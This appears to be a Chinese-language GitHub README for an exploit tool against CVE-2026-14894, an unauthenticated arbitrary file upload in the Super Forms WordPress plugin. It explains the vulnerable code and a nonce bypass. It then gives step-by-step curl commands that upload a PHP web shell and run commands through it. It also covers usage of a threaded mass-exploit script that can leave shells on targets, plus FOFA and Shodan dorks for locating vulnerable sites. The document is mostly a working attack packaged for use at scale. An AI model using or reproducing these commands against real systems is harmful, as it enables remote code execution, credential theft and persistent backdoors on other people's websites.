shinthink/CVE-2026-14894

CVE-2026-14894 — Super Forms 未授权文件上传 RCE

Nonce 泄露 → datauristring 上传 → 代码执行

## 概述 **CVE-2026-14894** 是 **Super Forms – Drag & Drop Form Builder** WordPress 插件（由 WebRehab 开发）**≤ 6.3.313** 版本中的一个严重级别（CVSS 9.8）的**未授权**任意文件上传漏洞。 `super_submit_form` nopriv AJAX handler 通过表单提交接受文件上传，但没有： 1. 验证用户是否已授权 2. 验证文件类型或扩展名 3. 根据 magic bytes 检查 MIME 内容 Nonce 防护被轻易绕过——另一个独立的 nopriv AJAX handler（`super_create_nonce`）会为任何未授权访问者生成有效的 nonce。 攻击者通过 Base64 编码的 `datauristring` payload 上传**任意 PHP 文件**，这些文件被直接写入 `/wp-content/uploads/superforms/`，且文件名由攻击者控制——从而直接导致代码执行。 ### 受影响版本 | 版本 | 状态 | |---|---| | ≤ 6.3.313 | 存在漏洞 | | 6.3.314+ | 已修复 | ## 漏洞机制 ### 根本原因 Super Forms 的 AJAX 文件上传 handler 缺少三个安全检查： ``` // Vulnerable: nopriv AJAX — no auth, no file type validation, no MIME check add_action('wp_ajax_nopriv_super_create_nonce', 'super_create_nonce'); // nonce for anyone add_action('wp_ajax_nopriv_super_submit_form', 'super_submit_form'); // upload for anyone function super_submit_form() { $data = json_decode(stripslashes($_POST['data']), true); $file = $data['sf_upload_field']['files'][0]; $content = base64_decode($file['datauristring']); // no MIME validation $name = $file['value']; // no filename sanitization fwrite(fopen($upload_path . $name, 'w'), $content); // PHP written to disk } ``` ### Nonce 绕过 ``` // Anyone can get a valid nonce — no authentication required function super_create_nonce() { $nonce = md5(uniqid(rand(), true)); $_SESSION['sf_nonce'] = $nonce; echo $nonce; // returned to unauthenticated attacker } ``` ### 攻击流程 ``` 1. POST /wp-admin/admin-ajax.php?action=super_create_nonce → Get valid nonce (no auth needed) 2. POST /wp-admin/admin-ajax.php?action=super_submit_form sf_nonce=NONCE&form_id=1&data={"sf_upload_field":{"files":[{ "datauristring":"data:image/png;base64,PD9waHAgc3lzdGVt...", "value":"shell.php"}]}} → Shell written to /wp-content/uploads/superforms/ 3. GET /wp-content/uploads/superforms/shell.php?c=id → RCE confirmed ``` ## 安装 ``` git clone https://github.com/shinthink/CVE-2026-14894.git cd CVE-2026-14894 pip install -r requirements.txt ``` ## 使用方法 ``` # 单目标 python cve_2026_14894.py -t target.com # Mass exploit python cve_2026_14894.py -f targets.txt # Mass exploit + 保存结果 python cve_2026_14894.py -f targets.txt -o shells.txt # 在目标上保留 shell python cve_2026_14894.py -t target.com --no-cleanup # Debug 模式（显示每个请求） python cve_2026_14894.py -t target.com --debug ``` ### 参数 ``` -t, --target Single target (domain or IP) -f, --file Target list, one per line -o, --output Save RCE results to file --threads Concurrent workers (default: 30) --no-cleanup Leave shells on target --debug Show every HTTP request + stage in real-time -v, --verbose Show detailed output ``` ## 概念验证 ### 单一目标 ``` $ python cve_2026_14894.py -t target.com --debug ``` ``` Super Forms | CVE-2026-14894 | CVSS 9.8 [target.com] [+] Super Forms detected v6.3.312 [target.com] [*] Nonce obtained [target.com] [*] Uploading shell... [target.com] [!] RCE confirmed Host : target.com SuperForms : YES v6.3.312 Upload : YES RCE : YES Shell : https://target.com/wp-content/uploads/superforms/think_abc.php?t=TOKEN Output : uid=33(www-data) gid=33(www-data) Time : 2.1s ``` ### 批量扫描 ``` Targets: 2500 | Threads: 30 [RCE] target-vuln-01.com 2.1s v6.3.312 [UP] target-patched-02.com 1.8s v6.3.314 (upload blocked) [!] target-no-plugin-03.com 0.5s not installed [150/2500] 6% | SuperForms:47 Upload:18 RCE:12 ─────────────────────────────────────────────────────── Done | 180s | Targets:2500 Det:47 Upload:18 RCE:12 ``` ### 手动利用 **第 1 步 — 获取 nonce** ``` curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \ -d 'action=super_create_nonce' # 返回 96 字符的 hex nonce ``` **第 2 步 — 上传 PHP shell** ``` NONCE="abc123..." SHELL_B64=$(echo '' | base64 -w0) curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \ -d 'action=super_submit_form' \ -d "sf_nonce=$NONCE" \ -d 'form_id=1' \ -d 'data={"sf_upload_field":{"type":"files","files":[{"datauristring":"data:image/png;base64,'$SHELL_B64'","value":"shell.php","name":"shell.php","label":"attachment"}]}}' ``` **第 3 步 — 执行命令** ``` curl -sk 'https://target.com/wp-content/uploads/superforms/shell.php?c=id' ``` ## FOFA Dork ``` body="wp-content/plugins/super-forms" ``` ## Shodan ``` http.html:"super-forms" ``` ## 影响 成功利用将导致**以 Web 服务器用户身份执行远程代码**。在此基础上，攻击者可以： - 提取 `wp-config.php` → 获取数据库凭据 - 访问所有 WordPress 内容、用户和插件数据 - 部署持久化后门 - 渗透到内部网络 ## 免责声明 ## 参考 | 资源 | 链接 | |---|---| | Wordfence 公告 | [wordfence.com](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/super-forms/super-forms-63313-unauthenticated-arbitrary-file-upload-via-data-parameter-datauristring-value) | | IONIX 公告 | [ionix.io](https://www.ionix.io/threat-center/cve-2026-14894/) | | NVD 条目 | [CVE-2026-14894](https://nvd.nist.gov/vuln/detail/CVE-2026-14894) | | 研究员 | andrea bocchetti |

_{本项目与 WebRehab 或 Super Forms 无关。}

标签：CISA项目, Python, WordPress插件漏洞, 无后门, 无服务器架构, 系统独立性, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护